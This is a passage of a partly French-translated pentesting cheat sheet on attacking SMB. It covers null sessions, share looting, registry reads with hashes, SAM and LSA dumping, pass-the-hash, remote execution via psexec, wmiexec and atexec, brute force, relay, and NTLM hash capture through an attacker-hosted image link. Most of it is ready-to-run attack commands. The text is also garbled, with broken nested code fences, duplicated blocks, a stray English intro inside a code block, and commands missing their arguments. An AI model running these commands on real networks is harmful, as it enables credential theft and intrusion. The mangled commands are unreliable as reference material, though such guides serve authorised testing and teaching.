'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] la création d'une session nulle est possible pour $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
examples
```bash
```markdown
## Pentesting SMB
### smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
Ce command permet de se connecter à un partage SMB sur l'adresse IP 192.168.0.24 avec l'utilisateur anonyme ('%') et sans mot de passe ('-N'). Dans cet exemple, nous essayons de nous connecter au partage nommé 'im_clearly_not_here'. Cependant, la commande retourne l'erreur NT_STATUS_BAD_NETWORK_NAME, ce qui indique que le nom du partage est incorrect ou n'existe pas.
### smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Ce command permet également de se connecter à un partage SMB sur l'adresse IP 192.168.0.24 avec l'utilisateur anonyme ('%') et sans mot de passe ('-N'). Dans cet exemple, nous essayons de nous connecter au partage ADMIN$. Cependant, la commande retourne l'erreur NT_STATUS_ACCESS_DENIED, ce qui indique que nous n'avons pas les autorisations nécessaires pour accéder à ce partage. Cependant, dans certains cas, cette commande peut donner accès à une session sur le partage ADMIN$.
```
```html
Pentesting SMB
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
Ce command permet de se connecter à un partage SMB sur l'adresse IP 192.168.0.24 avec l'utilisateur anonyme ('%') et sans mot de passe ('-N'). Dans cet exemple, nous essayons de nous connecter au partage nommé 'im_clearly_not_here'. Cependant, la commande retourne l'erreur NT_STATUS_BAD_NETWORK_NAME, ce qui indique que le nom du partage est incorrect ou n'existe pas.
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Ce command permet également de se connecter à un partage SMB sur l'adresse IP 192.168.0.24 avec l'utilisateur anonyme ('%') et sans mot de passe ('-N'). Dans cet exemple, nous essayons de nous connecter au partage ADMIN$. Cependant, la commande retourne l'erreur NT_STATUS_ACCESS_DENIED, ce qui indique que nous n'avons pas les autorisations nécessaires pour accéder à ce partage. Cependant, dans certains cas, cette commande peut donner accès à une session sur le partage ADMIN$.
```
```
### Mount a shared folder
```bash
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
```
### **Download files**
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
```bash
# Rechercher un fichier et le télécharger
sudo smbmap -R Dossier -H -A -q # Rechercher le fichier en mode récursif et le télécharger dans /usr/share/smbmap
```
```bash
# Télécharger tout
smbclient ///
> mask ""
> recurse
> prompt
> mget *
# Télécharger tout dans le répertoire actuel
```
Commands:
* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
* recurse: toggles recursion on (default: off)
* prompt: toggles prompting for filenames off (default: on)
* mget: copies all files matching the mask from host to client machine
(_Information from the manpage of smbclient_)
### Domain Shared Folders Search
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
Le fichier `Snaffler.exe` est un outil de pentesting utilisé pour l'exploration des services SMB (Server Message Block). Les options utilisées dans cette commande sont les suivantes :
- `-s` : Cette option indique à Snaffler d'effectuer une analyse des services SMB.
- `-d domain.local` : Spécifie le domaine cible à analyser, dans cet exemple `domain.local`.
- `-o snaffler.log` : Cette option spécifie le nom du fichier de sortie des résultats de l'analyse, dans cet exemple `snaffler.log`.
- `-v data` : Cette option active le mode verbeux et affiche les informations détaillées sur les données collectées lors de l'analyse.
Assurez-vous d'exécuter cette commande avec les privilèges appropriés et de respecter les lois et réglementations en vigueur lors de l'utilisation de cet outil.
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
* `-M spider_plus [--share ]`
* `--pattern txt`
```bash
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Ce commandement exécute l'outil `crackmapexec` en utilisant le protocole SMB pour scanner l'adresse IP `10.10.10.10`. Les options `-u` et `-p` spécifient le nom d'utilisateur et le mot de passe respectivement. L'option `-M` indique l'utilisation du module `spider_plus`. Enfin, l'option `--share` spécifie le partage nommé "Department Shares".
```
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
{% hint style="info" %}
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
{% endhint %}
## Read Registry
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
```bash
```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
```
## Post Exploitation
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Allow listing available shares in the current share? |
| `read only = no` | Forbid the creation and modification of files? |
| `writable = yes` | Allow users to create and modify files? |
| `guest ok = yes` | Allow connecting to the service without using a password? |
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
| `logon script = script.sh` | What script needs to be executed on the user's login? |
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
## Authenticate using Kerberos
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
# Pentesting SMB
## Introduction
SMB (Server Message Block) is a network protocol used for file sharing, printer sharing, and communication between devices in a network. It is commonly used in Windows operating systems.
## SMB Client
The `smbclient` command is a utility that allows you to interact with SMB servers. It provides a command-line interface to perform various operations such as browsing, downloading, and uploading files.
To authenticate using Kerberos, you can use the `--kerberos` option followed by the SMB server address and the shared folder path. For example:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
```
This command will connect to the SMB server `ws01win10.domain.com` and access the `C$` shared folder using Kerberos authentication.
## RPC Client
The `rpcclient` command is another utility that can be used to interact with SMB servers. It provides a command-line interface to perform remote procedure call (RPC) operations.
To authenticate using Kerberos, you can use the `-k` option followed by the SMB server address. For example:
```bash
rpcclient -k ws01win10.domain.com
```
This command will connect to the SMB server `ws01win10.domain.com` using Kerberos authentication.
## Conclusion
Understanding how to use SMB clients and RPC clients is essential for pentesting SMB services. These tools allow you to interact with SMB servers and perform various operations for testing and analysis purposes.
```
## **Execute Commands**
### **crackmapexec**
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
```bash
```markdown
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Exécuter Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Exécuter cmd
crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash
# Utilisation de --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb -d -u Administrator -p 'password' --sam #Extraire SAM
crackmapexec smb -d -u Administrator -p 'password' --lsa #Extraire les hachages de LSASS en mémoire
crackmapexec smb -d -u Administrator -p 'password' --sessions #Obtenir les sessions
crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Obtenir les utilisateurs connectés
crackmapexec smb -d -u Administrator -p 'password' --disks #Énumérer les disques
crackmapexec smb -d -u Administrator -p 'password' --users #Énumérer les utilisateurs
crackmapexec smb -d -u Administrator -p 'password' --groups #Énumérer les groupes
crackmapexec smb -d -u Administrator -p 'password' --local-groups #Énumérer les groupes locaux
crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Obtenir la politique de mot de passe
crackmapexec smb -d -u Administrator -p 'password' --rid-brute #Brute force RID
crackmapexec smb -d -u Administrator -H #Pass-The-Hash
```
```html
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
#Exécuter Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
#Exécuter cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami
#Pass-the-Hash
# Utilisation de --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam
#Extraire SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa
#Extraire les hachages de LSASS en mémoire
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions
#Obtenir les sessions
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users
#Obtenir les utilisateurs connectés
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks
#Énumérer les disques
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users
#Énumérer les utilisateurs
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups
#Énumérer les groupes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups
#Énumérer les groupes locaux
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol
#Obtenir la politique de mot de passe
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute
#Brute force RID
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH>
#Pass-The-Hash
```
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
# Si aucun mot de passe n'est fourni, une demande sera affichée
./psexec.py [[domaine/]nomUtilisateur[:motDePasse]@]
./psexec.py -hashes administrateur@10.10.10.103 # Pass-the-Hash
psexec \\192.168.122.66 -u Administrateur -p 123456Ww
psexec \\192.168.122.66 -u Administrateur -p q23q34t34twd3w34t34wtw34t # Utiliser le pass the hash
```
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#Si aucun mot de passe n'est fourni, une demande sera faite
./wmiexec.py [[domaine/]nomUtilisateur[:motDePasse]@] #Demande de mot de passe
./wmiexec.py -hashes LM:NT administrateur@10.10.10.103 #Pass-the-Hash
#Vous pouvez ajouter à la fin de la commande une commande CMD à exécuter, si vous ne le faites pas, un shell semi-interactif sera demandé
```
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
```bash
#Si aucun mot de passe n'est fourni, une demande sera affichée
./dcomexec.py [[domaine/]nom_utilisateur[:mot_de_passe]@]
./dcomexec.py -hashes administrateur@10.10.10.103 #Pass-the-Hash
#Vous pouvez ajouter à la fin de la commande une commande CMD à exécuter, si vous ne le faites pas, un shell semi-interactif sera affiché
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]nom d'utilisateur[:mot de passe]@] "commande"
./atexec.py -hashes administrateur@10.10.10.175 "whoami"
```
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce users credentials**
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
```bash
nmap --script smb-brute -p 445
ridenum.py 500 50000 /root/passwds.txt #Obtenir les noms d'utilisateur en effectuant une attaque de force brute sur les RID, puis essayer de faire une attaque de force brute sur chaque nom d'utilisateur
```
## SMB relay attack
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
### SMBTrap using MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
## NTLM Theft
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
## HackTricks Automatic Commands
```
Protocol_Name: SMB #Abréviation du protocole s'il y en a une.
Port_Number: 137,138,139 #Séparés par des virgules s'il y en a plusieurs.
Protocol_Description: Server Message Block #Abréviation du protocole écrite en toutes lettres
Entry_1:
Name: Notes
Description: Notes pour SMB
Note: |
Alors que le port 139 est techniquement connu sous le nom de "NBT sur IP", le port 445 est "SMB sur IP". SMB signifie "Server Message Blocks". Server Message Block, dans le langage moderne, est également connu sous le nom de Common Internet File System. Le système fonctionne comme un protocole réseau de couche application principalement utilisé pour offrir un accès partagé aux fichiers, imprimantes, ports série et autres types de communications entre les nœuds d'un réseau.
#Voici les commandes que j'exécute chaque fois que je vois un port SMB ouvert
Sans identifiants
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
Avec identifiants
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: Analyse SMB générale
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: Analyse de vulnérabilité SMB avec Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: Analyse de vulnérabilité SMB avec Nmap (Moins spécifique)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Besoin d'un utilisateur
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 énumération sans console mfs
Description: Énumération SMB/SMB2 139/445 sans avoir besoin d'exécuter msfconsole
Note: provenant de https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.